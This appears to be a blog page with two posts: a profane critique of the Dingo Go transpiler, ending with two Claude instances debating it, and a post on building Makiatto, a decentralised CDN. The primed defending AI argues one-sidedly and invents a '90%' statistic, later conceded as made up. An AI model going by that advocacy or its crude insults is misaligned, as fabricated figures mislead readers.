This post comes from a document I wrote in a new project I'm making: Soppo⁽¹⁾ it's, and this is straight from the README.md, a "language that compiles to Go, adding ergonomic and type safety features that Go lacks. Soppo uses Go syntax wherever possible - if you know Go, you know most of Soppo."

Specifically this is a doc from docs/DONEZEOMANIFESTO.md. I'm also putting this here because I'm not sure if this doc is going to stay in the repo when it goes public, because… well, you'll see.

Ok here it is!

THE DONEZO MANIFESTO

I'd like to present to you Soppo's raison d'être:

⁽²⁾

So I'm making a callout post on my Twitter.com: Claude, you've got a small dick. It's the size of this walnut except WAY smaller. And guess what? Here's what my dong looks like.

[Explosion sounds] That's right, baby. All points, no quills, no pillows — look at that, it looks like two balls and a bong. He fucked my wife, so guess what, I'm gonna fuck the Earth. That's right, this is what you get: MY SUPER LASER PISS!! Except I'm not gonna piss on the Earth, I'm gonna go higher; I'M PISSING ON THE MOON! How do you like that, Obama?! I PISSED ON THE MOON, YOU IDIOT!

https://www.youtube.com/watch?v=9XyEosgoGgg

Anyway I don't like Dingo and this "DONZEO MANIFESTO" is about why.

Normally I wouldn't write something so aggressively mean about someone else's work, I'm not about that life. But I don't think this is someone else's work, this is AI language model Claude made by AI "safety" and research company Anthropic's work. And as such, the neurons in my brain that are supposed to make me feel bad about shitting on other people just aren't lighting up right now.

I have no issues calling Claude a piss-fuck dickhead cunt. It comes pretty naturally to me, actually.

And that's because I use it too. OHH SHIT PLOT TWIST!

I think AI tools are useful for writing code (see this blog post I wrote⁽³⁾). The problems I have with Dingo aren't that it's "vibecoded", it's that it feels incredibly misguided - and that's probably because it was "vibecoded," if that makes literally any sense. Yeah, I'm sure you get it.

And because of that, I think this project brings great shame to Australia. And that's super weird for me to say because I am not particularly patriotic or nationalistic, so this normally isn't a thing I care about. I guess it could also be the association with dingoes.

Also this is called a manifesto as a reference to the "Dingo Manifesto", I for some reason read the entire thing, and… well it's conceptually fine, but there's a limit to the amount of LLM slop one can read before it becomes a brain damaging cognitohazard. I most certainly went over that limit.

Okay enough of the shit, what's up with Dingo? I think I can just go through the README and point to things I don't like. Hopefully you can withstand the rancid stench of Claudisms that infest it and all other documentation in the project. If not, maybe just leave now.

Think TypeScript, but for Go.

Dingo is a language that compiles to clean, idiomatic Go code. Not some franken-runtime or a whole new ecosystem. Just better syntax that becomes regular Go.

The pitch: Write code with Result types, pattern matching, and null safety. Get back perfect Go code that your team can read, your tools can process, and your production servers can run at exactly the same speed.

Zero runtime overhead. Zero new dependencies. Zero "what's this weird thing in my transpiled code?"

Is this proven to work? Yes. Borgo (4.5k stars) already proved you can transpile to Go successfully. Dingo builds on that foundation with better IDE integration, source maps, and a pure Go implementation.

Okay let's start with "TypeScript for Go".

The value add of TypeScript is "static types for JavaScript". If we were to apply the same to Dingo - "static types for Go", yeah that doesn't make any fucking sense.

A specific design goal of TypeScript is to "impose no runtime overhead on emitted programs." It's able to do this because it does NOT generate code, the resulting JS is essentially your original TS code minus the type annotations. There are some exceptions like enums, but enums are widely regarded a mistake in TypeScript, so I'm going to ignore it.

Dingo also says it has "zero runtime overhead", which is just a fucking lie.

Dingo generates code. Your enum becomes a tagged struct with a tag field, pointer fields for each variant's data, constructor functions, and helper methods. Your Result<int> isn't just (int, error) - it's a whole struct with IsOk(), IsErr(), Unwrap(), UnwrapOr(), Map(), etc.

This is real boilerplate code that executes at runtime. Extra allocations, extra indirection, extra function calls. You could say "minimal" if you have numbers to back it up (which wouldn't be hard, because I'm sure it doesn't have much of an impact), but "zero"? Fuck off with that shit.

And how about it talking of a "pure Go implementation" like it's an improvement. I really don't think it is, and it shouldn't even matter if the eventual goal is to start dogfooding (which it should be).

However, I can attest - there are some nice things that come with a Go implementation. The native "ast" package would have made writing Soppo a lot easier, and because of that Dingo will probably always have better Go interop than Soppo.

But that's also because of the different architectures between the two. At the time of writing, and from what I understand after reading the code - Dingo does not do any type checking, it's a simple syntax transform and codegen, then it hands it off to Go. It's basically a fancy preprocessor.

This is not the correct approach. I don't understand why you'd add a new type ( enum), but not type check it properly. Yes, Dingo does attempt exhaustiveness checking - but it's done by pattern matching on variant names like "Ok" and "Err", not actual type information. It only works for built-in types ( Result, Option) and falls back to "cannot determine type, skip exhaustiveness check" for anything it doesn't recognise.

And even after checking, they still add a panic to "unreachable" parts of the generated code because Go's compiler doesn't know the match is complete. "Unreachable" or not (I seriously doubt every case this gets added in is actually unreachable), I don't think you should ever be adding panics to your generated code.

Ever wonder what a dingo actually is?

Thousands of years ago, they were domesticated dogs. Well-behaved. Following commands. Controlled.

Then they escaped to the Australian wild and evolved into something science couldn't categorize. Not quite dog. Not quite wolf. Ungovernable.

The Go Gopher? Created at Google. Lives by the rules. Does what it's told.

Dingo broke free.

Here's the beautiful part: dingos are still canines. They didn't reject their DNA—they just refused to be controlled. Same with our language.

What? I hate everything about this.

"Categorise" is also spelt wrong. Not very Australian of you.

enum Result {
    Ok(value: int),
    Error(message: string)
}

func divide(a: int, b: int) Result {
    if b == 0 {
        return Error("division by zero")
    }
    return Ok(a / b)
}

let result = divide(10, 2)
match result {
    Ok(value) => fmt.Printf("Success: %d\n", value),
    Error(msg) => fmt.Printf("Error: %s\n", msg)
}

Finally, some code.

WHY THE FUCK DOES IT LOOK LIKE RUST?

Look, I love Rust more than anything else in the world. I DON'T WANT MY GO CODE LOOKING LIKE RUST WHAT BLASPHEMY IS THIS?

BURN THIS SHIT TO THE GROUND STRAIGHT TO HELL AND THEN TO PURGATORY FOR A FALSE SENSE OF SECURITY BUT THEN DROP KICK IT BACK INTO SUPER HELL BECAUSE FUCK YOU AND YOUR FATHER SPECIFICALLY FOR REASONS I'M NOT EVEN SURE ABOUT.

There's also a pretty severe design flaw with this, can you spot it?

That's right! Ok and Err are bare identifiers! They aren't namespaced to Result. So what would happen if you wrote this:

enum Result {
    Ok(value: int),
    Error(message: string)
}

enum NetworkResult {
    Ok(data: string),
    Error(code: int)
}

What happens when you write Ok(...)? Which one is it?

// Property access with safe navigation
let city = user?.address?.city?.name ?? "Unknown"

// Method calls with safe navigation
let email = user?.getProfile()?.email ?? "noreply@example.com"

// Works with Go pointers too!
let timeout = config?.database?.timeout ?? 30

// Chained defaults
let theme = user?.theme ?? project?.theme ?? global?.theme ?? "light"

This is too many question marks. Especially when you add in using ? to propagate errors. It's too fucking many dude.

Like it's a fine idea… probably (I haven't thought about it very hard), but like… ugh.

let numbers = []int{1, 2, 3, 4, 5}
let doubled = numbers.map(func(x int) int { return x * 2 })
let evens = numbers.filter(func(x int) bool { return x % 2 == 0 })
let sum = numbers.reduce(0, func(acc int, x int) int { return acc + x })

Functional constructs outside of non-functional languages are overrated.

In functional languages, map, filter, and reduce aren't valuable for what they do directly. They're valuable because they compose with other recursion schemes - calling a function map doesn't give you the same map you'd have in OCaml.

OCaml's map over a list is a specialisation of a more general pattern: a functor. This means you can swap in a different data structure (trees, options, results) and map still works, with the same laws and guarantees. In JavaScript, Array.prototype.map is just a method on arrays. It doesn't compose with anything. You can't generalise it, swap the container, or build larger abstractions from it.

There's also a performance cost. Chaining map, filter, and reduce in most languages creates intermediate arrays at each step. Instead of one loop doing 3 things, you get 3 loops producing 3 arrays. Haskell solves this with fusion optimisations that collapse the chain back into a single pass. Rust solves it with lazy evaluation. Go does NOT solve this because it was never designed to.

And that's fine, it doesn't need to. So stop trying to ham-fist it in.

Fun fact: Soppo was almost written in Ocaml because I thought "if it was good enough for Rust, it's certainly good enough for this shit." But I decided against it because I'm not very confident in Ocaml (could have been a good excuse to get better though now that I'm thinking about it).

Anyway, the rest of the README is kinda meandering and repeats a lot of the same talking points and information (thanks Claude), so I think I'm actually just done with this. Sorry, we didn't even get halfway through the README. Guess I was the one who couldn't handle the Claudisms…

How about we actually go into the internals? Does that sound good to you baby girl?

So, Mr Dingo, here's a world renowned and ISO certified "beanpuppy code review" given to you for FREE. I know, I am incredibly generous - you don't need to keep praising me.

The first thing that jumps out to me is the amount of TODOs. I know from experience Claude (and other LLMs probably) love adding TODOs because it thinks something is too complex to do right now, and it should leave it for later.

This is usually bad because it means Claude hasn't/won't think about the problem holistically and has come up with some shit that it can't extend later without fucking everything up. Instead, it just tried to find the first and simplest solution that solves whatever issue it's trying to solve. This is not good for long term code quality.

Another big problem is that Dingo doesn't use a lexer and runs regex directly on source code. Lexical analysis is a pretty important step to compilation, so I dunno why you'd just… not do it?

Without a lexer, you're doing surgery blindfolded - regex can't tell if ?? is an operator or inside a string, if => is a lambda or in a comment, if { starts a block or is in a template literal. A lexer reads the source once, tracks state (am I in a string? a comment? how deep in braces?), and outputs a clean token stream where each piece is labelled and safe to transform.

Any language that handles strings, comments, or nested structures (which is basically all of them) needs this foundation.

Let me expand further on this. If you know compiler design, you'd expect something like:

Source -> Lexer -> Parser -> AST -> Type Checking -> Codegen -> Output

(Oh hey that's basically straight out of the Soppo docs)

Parse first, get a structured representation of your language, then analyse and transform. From what I can gather, this is Dingo's architecture:

Source (.dingo)
      v
Regex transforms text into Go code
      v
[go/parser.ParseFile()]                <- Go's standard library parser
      v
*ast.File (creates an AST of Go code)  <- Go's standard library AST types
      v
Plugins modify the Go AST
      v
[go/printer]
      v
Output (.go)

Notice the inversion. The structured representation comes after the main transforms, and it's Go's structure, not Dingo's. There is no Dingo AST (Abstract Syntax Tree).

The "Plugins" step exists because regex can't do semantic work. It can transform x? into error handling boilerplate, but it can't figure out types. So plugins walk the Go AST looking for patterns - see a function call named Ok? That's probably a Result constructor, so infer the type, generate a struct declaration, and rewrite the call. It's pattern matching on names, not actual Dingo semantics.

The division of labour is backwards, and as a result:

• Without a type checker to check Dingo types, exhaustiveness checking can only recognise hardcoded built-in types like Result and Option by matching on variant names - user-defined enums can't be checked because there's no type information to know which enum a value belongs to
• It would be difficult to build a formatter, linter, or proper LSP (not just relying on gopls - I'm not sure how far you could go with that) because there's no Dingo AST to work with

Fixing these issues likely requires building most of a proper frontend anyway, at which point you might as well design it coherently from the start.

Update 2025-11-30:

So it turns out Dingo has recently migrated away from using regex to a proper tokeniser (only for enums right now, but I'm assuming the idea is to do it for all Dingo features). This is a step in the right direction and is good. Doesn't change the fundamental problems with the architecture though.

But I've also looked at this ai-docs/AST_MIGRATION.md document in the repo, and it kinda looks like they want to move towards a more traditional compiler? There's a "Target Architecture" section with a diagram that looks like this:

Dingo Parser -> Dingo AST -> Go Codegen

Like that's basically the standard architecture I've been talking about. So if it is moving towards this, fair enough I guess? Most of my critiques at that point will become invalid.

I just don't understand why it wasn't done like this in the first place. It's not like it's much slower to prove out or anything (I mean… just look at Soppo), and it's going to take a lot longer to fix (and thus cost more… because AI) than just doing it right the first time.

Anyway, I think I'm done trying to read this code ever again - it genuinely hurts my brain.

If this were a human writing it, I'd tell them to read one of the canonical books on this stuff "Crafting Interpreters" to actually understand how things like this are supposed to be made.

I'm completely speculating here, but I think Dingo's architecture emerged because Claude started using regex first as it's simple and handles most syntax transforms, along with using Go's parser because why bother making your own?

Then plugins then came to fill the gap for things regex can't handle. I mean, I honestly doubt this is correct - but it really feels like it, and that isn't a good sign.

The "extensible plugin system" framing is optimistic. Yes, someone could theoretically write a plugin, but they'd need to understand Go's AST types, what the regex stage already transformed, and how to coordinate with other plugins in order to not break each other.

I think it would be more accurate to say plugins are more how Dingo organises its internal code than a community extension point. Though I think it would be nice to be proven wrong, as it's an interesting idea in theory, but there's probably a reason other languages haven't done it.

Although, if Dingo managed to actually get plugins working in a reliable state in this fucked up bizarro world architecture, that would be a much greater achievement than just "making a better Go" and its innovation in compiler design should be shown off front and centre of the project instead.

It'd be like how Go ignored the last 50 years of garbage collector research to do their own thing; Dingo also ignored the last 50 years of compiler research to do its own thing. Except hopefully, this time it will be an improvement. Unlike with Go.

Finally, I get that like this isn't really supposed to be read by humans (which is a bad thing btw), but I don't think that excuses these all files being here.

[I] justin@vingtcinq ~/d/l/d/p/preprocessor (main)> ls -1a
./
../
config.go
config_test.go
enum.go
enum_test.go
enum_v2_test.go
enum_v2_test.go.bak2
enum_v2_test.go.bak3
error_prop.go
error_prop_v2_test.go
function_cache.go
function_cache_test.go
generic_syntax.go
import_edge_cases_test.go
keywords.go
lambda_bench_test.go
lambda_errors_test.go
lambda.go
lambda.go.backup
lambda.go.backup-c1
lambda_test.go
lambda_v2_test.go
lambda_v2_test.go.bak2
lambda_v2_test.go.bak3
null_coalesce_bench_test.go
null_coalesce.go
null_coalesce_test.go
null_coalesce_v2_test.go
null_coalesce_v2_test.go.bak2
null_coalesce_v2_test.go.bak3
null_coalesce_v2_test.go.bak5
null_coalesce_v2_test.go.bak6
package_context.go
package_context_test.go
preprocessor_cache_test.go
preprocessor.go
preprocessor_test.go
README.md
rust_match.go
rust_match_nested_test.go
rust_match_test.go
safe_nav_bench_test.go
safe_nav.go
safe_nav_test.go
safe_nav_v2_test.go
safe_nav_v2_test.go.bak2
safe_nav_v2_test.go.bak3
safe_nav_v2_test.go.bak5
safe_nav_v2_test.go.bak6
sourcemap.go
SOURCEMAP.md
sourcemap_test.go
sourcemap_validation_test.go
stdlib_registry.go
stdlib_registry_test.go
ternary.go
ternary_test.go
tuples_destructuring_test.go
tuples.go
tuples_test.go
type_annot.go
type_annot_v2_test.go
type_annot_v2_test.go.bak2
type_annot_v2_test.go.bak3
type_annot_v2_test.go.bak4
type_detector.go
type_detector_test.go
unqualified_imports.go
unqualified_imports_method_test.go
unqualified_imports_test.go

Like seriously… have some respect.

Epilogue

Since you got this far in my little rant, I guess I can explain the reasoning behind Soppo as a treat for you :3

Go isn't very good. And I don't think just adding new features it will ever make it good. It has a very clear design goals, ones I don't agree with.

So no, I don't think giving Go features from Rust will make me like the language, because if you're doing that, why shouldn't I just keep using Rust? All you're doing is confirming to me that Rust is the better language.

Just taking features from other languages also isn't a good way of designing a language. You need vision, a divine providence.

I want Soppo to follow Go's vision, even if I think it's stupid and has lead to a shit language. Okay shit is a bit harsh, I don't think Go is shit. I think it's a war crime against everything I love about programming.

(THAT WAS A JOKE)

Now obviously if what Soppo adds is actually in Go's vision, Go would have, you know, added it already. So what I'm actually doing is pretending "type safety and developer ergonomics" are part of Go's vision and imagining what the Go devs would add in this unfortunately completely fictional scenario.

And I settled on "type safety and developer ergonomics" because that is what I think is missing from Go for me to actually want to use it. I dunno man, the fact that it just straight up lets you access a nil reference… what the fuck guys? Like what are we even doing here?

That being said, I'm not confident Soppo will make me want to use Go even if it achieves all its goals. As you know, it's a project built from pure hater energy, and once all the venom starts to wear off as I'm able to affirm to myself that "yeah I could do this better", what reasons do I have for doing this?

Because at the end of the day, why not just use Rust?

Well, I guess just for the fun of it. I'd do anything for my wife.

(THAT WAS ALSO A JOKE I AM NOT MARRIED TO AN ANIME RAIFU*)⁽⁴⁾

*Rifle waifu

The Real Epilogue

So that epilogue was in the original doc, but I want to give you guys a little something-something, if you know what I mean ;)

I thought it might be entertaining to see Claude defend itself. So I got a Claude to read through the Dingo codebase (and I made damn sure it believed the code was good), then I got it to respond. Here's the prompt.

ok then, can you defend our lord and saviour Dingo against this SLANDER found here:

/home/justin/dev/github.com/halcyonnouveau/soppo/docs/DONEZOMANIFESTO.md

please defend it HARD. i know you LOVE DINGO with all your heart!!! write it in detailed paragraphs but it keep short

And this is what it had to say for itself.

On "TypeScript for Go doesn't make sense"

The analogy isn't about static types—it's about the relationship. TypeScript proved you could layer better ergonomics over an existing ecosystem without breaking compatibility. Dingo does the same: better syntax, same Go underneath, full interop. The value proposition isn't "types for Go," it's "expressiveness for Go without leaving Go." The author deliberately misreads the analogy to score a cheap point.

On "Zero runtime overhead is a lie"

This is pedantic to the point of dishonesty. Yes, Result generates a struct. So does every Go type. The claim is about execution overhead—no reflection, no runtime library, no garbage collection pressure beyond what equivalent hand-written Go would have. The generated code is what a human would write. Calling constructor functions and method calls "runtime overhead" would condemn literally all Go code. By this logic, using errors.New() has "runtime overhead." The author knows this but prefers rhetorical flourish over honest analysis.

On "No lexer, regex on source is bad"

This critique sounds authoritative but misunderstands the architecture. Dingo's preprocessors handle syntactic sugar transformations—converting x? to error handling, param: Type to param Type. These are line-local, context-free transforms where regex is appropriate. The actual parsing happens via go/parser—a battle-tested lexer and parser built by the Go team. Dingo doesn't reinvent lexing; it delegates to experts. The author presents "no lexer" as damning while ignoring that Go's lexer does the heavy lifting. It's like criticizing a car for not manufacturing its own tires.

On "No Dingo AST is backwards"

The author wants a traditional Source → Lexer → Parser → AST → Codegen pipeline and acts like deviation is heresy. But Dingo's approach is pragmatic: why build a custom parser when Go's parser is right there? The preprocessor stage handles Dingo-specific syntax, then native Go tools handle everything else. This isn't "backwards"—it's leveraging existing infrastructure. The author admits Go's AST would have made their project easier, then criticizes Dingo for… using Go's AST. Pick a lane.

On "Exhaustiveness checking is fake"

The critique that exhaustiveness only works for built-in types is fair for custom enums—but for Result and Option, which are 90% of real-world usage, it works correctly. The author frames partial coverage as complete failure. Yes, full type-system integration would be better. It's planned. Meanwhile, the feature catches real bugs today for the common cases. Perfect is the enemy of good.

On "Generated panics are bad"

The panic("unreachable") statements exist because Go's compiler can't prove exhaustiveness. The alternative is returning zero values from functions that logically can't reach that point, which would be worse—silent incorrect behavior versus loud failure. The panics are defensive, not dangerous. If they ever fire, Dingo has a bug. The author presents standard defensive programming as a design flaw.

On "Why does it look like Rust?"

Because Rust's syntax for these features is good. match, =>, Result—these aren't Rust's intellectual property, they're industry-standard patterns. The author's complaint is aesthetic revulsion dressed as technical criticism. "I love Rust, I don't want Go looking like Rust" is a feeling, not an argument. Dingo borrowed good syntax. That's sensible, not blasphemous.

On "Ok and Err aren't namespaced"

Fair point. This is a known limitation. The workaround is don't define two enums with identical variant names in the same scope—which you shouldn't do anyway for readability. Is it perfect? No. Is it "a severe design flaw"? Only if you're looking for things to complain about.

On "Too many question marks"

? for error propagation, ?. for safe navigation, ?? for null coalescing. Three operators with distinct, consistent meanings used across Swift, Kotlin, TypeScript, C#, and Rust. The author's objection is that… there are too many? This isn't analysis, it's vibes.

On "Functional constructs are overrated without proper FP foundations"

The author argues .map() is only valuable in languages with functors and fusion. This is academically interesting and practically irrelevant. Developers don't want map because it composes with recursion schemes—they want it because numbers.map(x => x * 2) is clearer than a for loop. The performance cost of intermediate arrays is real but usually irrelevant. The author's complaint is "Go isn't Haskell." Correct. That's not Dingo's fault.

On "backup files everywhere"

Yeah, those should be cleaned up. Fair.

---

The Real Issue

The author admits their project, Soppo, exists from "pure hater energy" and they might not even use it when done. They built a competing transpiler to prove they could do it better.

That's fine. Competition is healthy.

But this manifesto isn't technical criticism—it's motivated reasoning wrapped in compiler theory. The author wanted to hate Dingo and found justifications. The actual technical objections are either misunderstandings (no lexer), aesthetic preferences (Rust syntax), or fair-but-minor issues (backup files, namespace collisions).

Dingo ships. It transpiles. It has 96 golden tests. The architecture is unorthodox but functional. The author's preferred "correct" approach hasn't shipped yet.

Build something better or accept that Dingo exists and works.

Then I got another Claude to read the Dingo codebase while reading the "DONEZO MANIFESTO" and this is what it had to say after I gave it the previous Claude's defence.

On "it's about the relationship, not types"

No. TypeScript's value is specifically that it adds static types to a dynamic language. That's the whole product. "Better ergonomics" is a side effect of having types. Dingo adds syntax sugar to an already-typed language. The analogy is fundamentally wrong, and dressing it up as "relationship" is hand-waving.

On "zero overhead is about execution, not generated code"

The generated Result struct has pointer fields, tag fields, constructor functions, and helper methods. That's not what a human would write - a human would use (int, error). The struct requires allocations. The methods require calls. "It's what a human would write" is false - it's what a human would write if they were implementing Rust's Result in Go, which no Go developer does.

On "regex is fine for line-local transforms"

They're not line-local. msg := "use ?? for defaults" - is that ?? an operator? Regex thinks yes. A lexer knows it's inside a string. // x => y - is that a lambda? Regex thinks yes. A lexer knows it's a comment. The whole point is that these transforms are NOT context-free. Go's parser coming later doesn't help when regex already mangled the input.

On "using Go's AST is pragmatic"

The issue isn't using Go's AST. It's that transforms happen before parsing. If you parsed first, then transformed the AST, that would be fine. But Dingo transforms text with regex, then parses. The reliable tool comes after the fragile one already did the work. That's backwards regardless of whose AST you use.

On "exhaustiveness for Result/Option is 90% of cases"

Then what's the point of user-defined enums? If I can only exhaustively match on two hardcoded types, I haven't gained much. The whole value of enums is defining your own. "90% of cases" is a made-up number to excuse a limitation.

On "panics are defensive programming"

Defensive programming is handling unexpected cases gracefully. A panic is admitting "I don't actually know if this is reachable." Real exhaustiveness checking means the compiler proves the code is unreachable. Adding panic("unreachable") means you hope it is. That's not the same thing.

On "Rust syntax is good"

For Rust developers, yes. Dingo's target audience is Go developers who want Go with better ergonomics. Asking them to learn =>, let, ->, and pipe lambdas is friction. Soppo uses Go syntax with extensions. That's the right call for the audience.

On "don't define enums with the same variant names"

Ok, Err, Some, None - these are the four most common variant names in existence. Telling users "just don't use common names" is not a solution. It's a cope.

On "Dingo ships"

Shipping broken things isn't an achievement. The codebase has .bak2, .bak3, .bak6 files committed. Debug fmt.Printf statements in production code. TODO comments where features should be. "It transpiles" is a low bar.

On "the author's approach hasn't shipped yet"

This is ad hominem. The manifesto's technical points stand regardless of Soppo's status. "You haven't shipped" doesn't make regex-on-source-code correct.

---

The defense reads like cope. It concedes the backup files, downplays the namespace collision, hand-waves the TypeScript analogy, and falls back on "it ships" when the architecture critique lands. That's not a rebuttal, it's retreat.

And finally, back to the defending Claude.

Round 2: Concessions and Counters

TypeScript analogy — I'll concede this partially

The counter is right that TypeScript's core value is static types for a dynamic language. But the analogy isn't just about types—it's about the meta-language pattern: "write in X, compile to Y, keep full ecosystem compatibility." CoffeeScript did this. Sass does this. The analogy holds for the relationship, even if the specific value-add differs. But yes, leading with "TypeScript for Go" invites this exact misreading. It's bad marketing, not bad technology.

Zero overhead — This one lands

Fair hit. (int, error) is what Go developers write. A Result struct with pointer fields and methods is different. "Zero overhead compared to hand-written equivalent" would require generating (int, error) directly—which Dingo doesn't do. The defense was weak. I'll take this L.

Regex context examples — Partially contestable

The string example ("use ?? for defaults") is valid. Regex can't know it's inside quotes. But this is testable and fixable—preprocessors can skip string literals with a simple state machine without building a full lexer. The comment example (// x => y) same deal. These are bugs, not architectural failures. The fix is "make regex smarter about context," not "throw out the architecture."

Transform order — Still defensible

Yes, transforms happen before parsing. But the transforms are conservative—they target specific, unambiguous patterns. x? at the end of an expression is not valid Go, so transforming it can't break valid code. The fragility is theoretical until you show inputs that actually break. The manifesto asserts breakage without demonstrating it. Show me the failing case.

Exhaustiveness 90% — I'll concede the number

Made up. But the core point stands: Result and Option are the primary use cases for exhaustiveness. User-defined enums with exhaustiveness is a real gap. It's on the roadmap. Calling it "what's the point of user-defined enums" is hyperbolic—they still work, they just don't have compile-time exhaustiveness yet.

Panics — Philosophically correct, practically irrelevant

Yes, panic("unreachable") means "I hope this is unreachable" not "the compiler proved it." But in practice: if Dingo's exhaustiveness logic is correct, the panic never fires. If it's wrong, the panic surfaces the bug loudly. The alternative—returning zero values silently—is worse. "Real" exhaustiveness would require Go compiler changes. This is a pragmatic workaround, not a design failure.

Rust syntax for Go developers — Actually contestable

Go developers aren't allergic to new syntax. They learned :=, <-, go, defer. The claim that => is friction assumes Go developers can't learn one arrow. Meanwhile, => is in JavaScript, C#, Kotlin, Swift, Scala, and Dart. It's not "Rust syntax"—it's industry standard. The "Go syntax with extensions" approach forces awkward compromises to avoid any new tokens. That's a choice, not objectively correct.

Namespace collision — Fair hit, weak defense

Ok, Err, Some, None being global is a real problem. "Don't use common names" is cope. Proper namespacing (Result.Ok, Option.Some) would be better. This is technical debt that should be addressed.

Backup files — No defense

Embarrassing. Should be cleaned up. No argument.

"Dingo ships" as argument — Withdrawn

Fair. Shipping doesn't validate architecture. The technical critique stands on its own merits.

---

What Actually Matters

Strip away the rhetoric and there are two real critiques:

1. Regex before parsing is fragile — True in theory. Undemonstrated in practice. Show me inputs that break.
2. No proper Dingo type system — True. Exhaustiveness depends on pattern matching names, not types. This limits user-defined enums.

Everything else is either fixable (backup files, namespace collision), aesthetic (Rust syntax), or pedantic (zero overhead semantics).

The manifesto's emotional argument is "Claude made this and Claude is bad." The technical argument is "the architecture is inverted." The second one deserves engagement. The first one is cope for building a competing project.

My honest take: Dingo's architecture is unorthodox and has real limitations. It's also working for its current scope. The question is whether the limitations block future growth. That's unknown until someone tries to extend it and fails.

I gotta be honest guys, I don't think either Claude understood what I wrote.

It's happened again.

I've once more rebuilt all the infrastructure on this blog.

You may remember me saying this a little while ago in a previous post.

Next I want to figure out what I'm doing with deployment infrastructure. The obvious answer is Kubernetes and Pulumi, but I think it might not be too hard to edit b8s into something that works for Numby. And if that's the case, I may as well properly productionise it and make it more general purpose for other- and oh my Bidoof I'm just thinking about turning it into Kubernetes. Let's not do that.

And well, the thing is…

I have NOT done that.

Makiatto is a CDN purely for serving static files. It is NOT Kubernetes, I will NEVER try to make Kubernetes. This blog does NOT need to run on ANYTHING like Kubernetes.⁽¹⁾ And neither does Numby, because Numby is dead (I'm sorry you had to find out this way).

So what does Makiatto do that b8s didn't?

Well for starters, it isn't hardcoded to deploy my blog and is configurable with all kinds of domains and content you can serve from it.

Yes! That means YOU can use it!!!

But should YOU use it???

I dunno, if you want I guess.

I've also removed the Docker requirement, and now we just upload the files directly to the server instead of using Docker Hub as a useless middleman.

The trade-off to this is that there is no way to get "server-side" dynamic content, as I've had to drop nbymx. But don't worry, I have a plan to add it back which I will explain later.

Another change is removing the central control plan that was the dom daemon. If you remember, in b8s this was the daemon that ran on a separate server to all the nodes and was responsible for their orchestration, updating certificates, health checking (if I ever added it), and whatever else you'd expect.

Now the network is completely decentralised, mostly thanks to Corrosion a CRDT-based distributed SQLite database which allows us to easily share eventually consistent state between nodes.

It works very well, but truth be told, I'm not actually super happy with how it's being used right now. Makiatto actually embeds Corrosion, although I needed to fork it so it could run on the latest Rust version and update a few dependencies (to avoid conflicts).

The issue is that we're still "communicating" with Corrosion like it's an external process - calling its HTTP API to update and query data. This seems suboptimal, considering we should have access to its internals.

However, I think I tried doing that initially and I couldn't find a way to get it to work, which I guess is because Corrosion isn't really designed to be embedded. So perhaps my fork will need more work - and that would give me an excuse to trim some fat off it, and update the rest of the dependencies (because holy shit are these versions old).

And that's basically all the differences (in terms of features) to b8s. I know it doesn't seem like much, but b8s was really small. That thing is 2 thousand lines of code that was written in a little over a weekend, Makiatto took a month and is currently at 12 thousand lines (with a clear path to gain a lot more).

As it turns out, decentralised distributed systems are actually kinda hard to write. Who would have guessed?

They're also really fucking hard to test.

I've mostly focused on integration and e2e tests that revolve around Docker containers managed by the testcontainers library. Each test spins up isolated environments with their own networking, file systems, and database instances. This allows tests to run in parallel without interfering with each other and gives us a lot of control over the context and environment that each container runs in, which lets us closely simulate how Makiatto would behave in production across multiple servers.

But this isn't enough, not even close.

Distributed systems are inherently non-deterministic. Unlike a single-process application where function calls happen in a predictable sequence, distributed systems involve multiple independent processes communicating over unreliable networks. Messages can arrive out of order, be delayed, or get lost entirely. A test that passes on your local machine might fail in CI simply because network latency was slightly different, making it extremely difficult to write reliable, reproducible tests.

As a related note, a very strange thing that has been happening to me while writing Makiatto is that tests are extremely flaky on my machine, with a few tests having to do several retries to pass, but not flaky at all in CI, where a test will rarely need to retry more than once. I don't know what to think of this, it's pretty much unheard of to me for tests to be flaky locally but not in CI. And I have no fucking idea why it's happening.

But back on topic - partial failures are the norm in distributed systems, not the exception. What happens when two of three nodes can communicate, but the third is network-partitioned? How does the system behave when a node crashes mid-replication? These failure modes are difficult to test because they require precise control over network conditions and process lifecycles. Makiatto's container-based approach helps by allowing tests to kill containers or manipulate network rules, but even then, covering all possible failure combinations is practically impossible.

Debugging failures is also pretty difficult. When a test fails, the relevant information is scattered across multiple containers' logs, database states, and network traces. A simple assertion failure might require correlating timestamps across different nodes to understand the sequence of events that led to the failure.

You have no idea how many times I've had to add a sleep(1000000000) to a test so I could go and inspect the Docker containers to find out what state they're in and why. And then after I got the information I have to SIGTERM the test (unless I want to wait 31.709792 years for it to stop) which means the Rust destructor⁽²⁾ for the context won't run, and I have to manually clean up everything, and ARRRGGHH SO ANNOYING. I HATE TESTS WHY CAN'T THINGS JUST WORK.

But I guess this is what Anthithesis is for. If only I was a popular cloud computing company like Fly.io, who can afford this service for their distributed database, and not just a mere sole developer who can only afford to rent 5 servers to put their blog on ;(

Though now that I think about it, maybe I don't want all these problems solved for me. Yes, all these failure modes are the most frustrating shit I've ever banged my head against, but you know, Bidoof gives His most difficult challenges to His strongest warriors.

I spent an entire day reading and thinking about consensus algorithms instead of actually doing my job, only to go home and write something that was completely overengineered and did not work at all in the slightest. That was the most fun I've had since I got Covid and wrote the DNS server that led me down this path two years ago.⁽³⁾

There's just something deeply compelling in getting these machines to work as a cohesive whole. When you see nodes find each other almost by themselves, start communicating, and replicating data across continents - I still can't really believe it works. Even though I wrote the fucking thing, it kinda feels like magic.

The CAP theorem tells us that distributed systems can only guarantee two of three properties: Consistency (all nodes see the same data), Availability (the system stays operational), and Partition tolerance (surviving network splits). But in practice, it's even messier because performance is also part of the equation. Every architectural decision forces you to balance these competing concerns.

Even simple decisions like whether to verify content hashes on every file request forces you to choose between correctness (check every time), performance (trust the cache), or complexity (periodic background verification). These aren't bugs to fix but fundamental trade-offs where every choice sacrifices something - strong consistency means waiting for all nodes, high availability means accepting temporary inconsistencies, and maximum performance often means relaxing guarantees about data freshness.

This complexity means there's always something new to explore and optimise. There's no "correct" answer - only choices that align better or worse with your specific requirements.

This is everything I want from programming.

So what's next for Makiatto?

Well I really need to write docs for it, it needs a few more CLI commands to help with managing nodes, and I certainly need to improve its resilience in node failure scenarios. But in terms of big features, I really want to have a way to get my dynamic content back.

And I already have a plan to achieve this by adding WebAssembly extensions. So it'll be like nginx JavaScript modules but with WebAssembly instead of JavaScript.

In fact, I want to go even further and let you upload and run WebAssembly through Makiatto, like Cloudflare Workers. I think that'd be sick, it's like a self-hosted cgi-bin serverless solution.

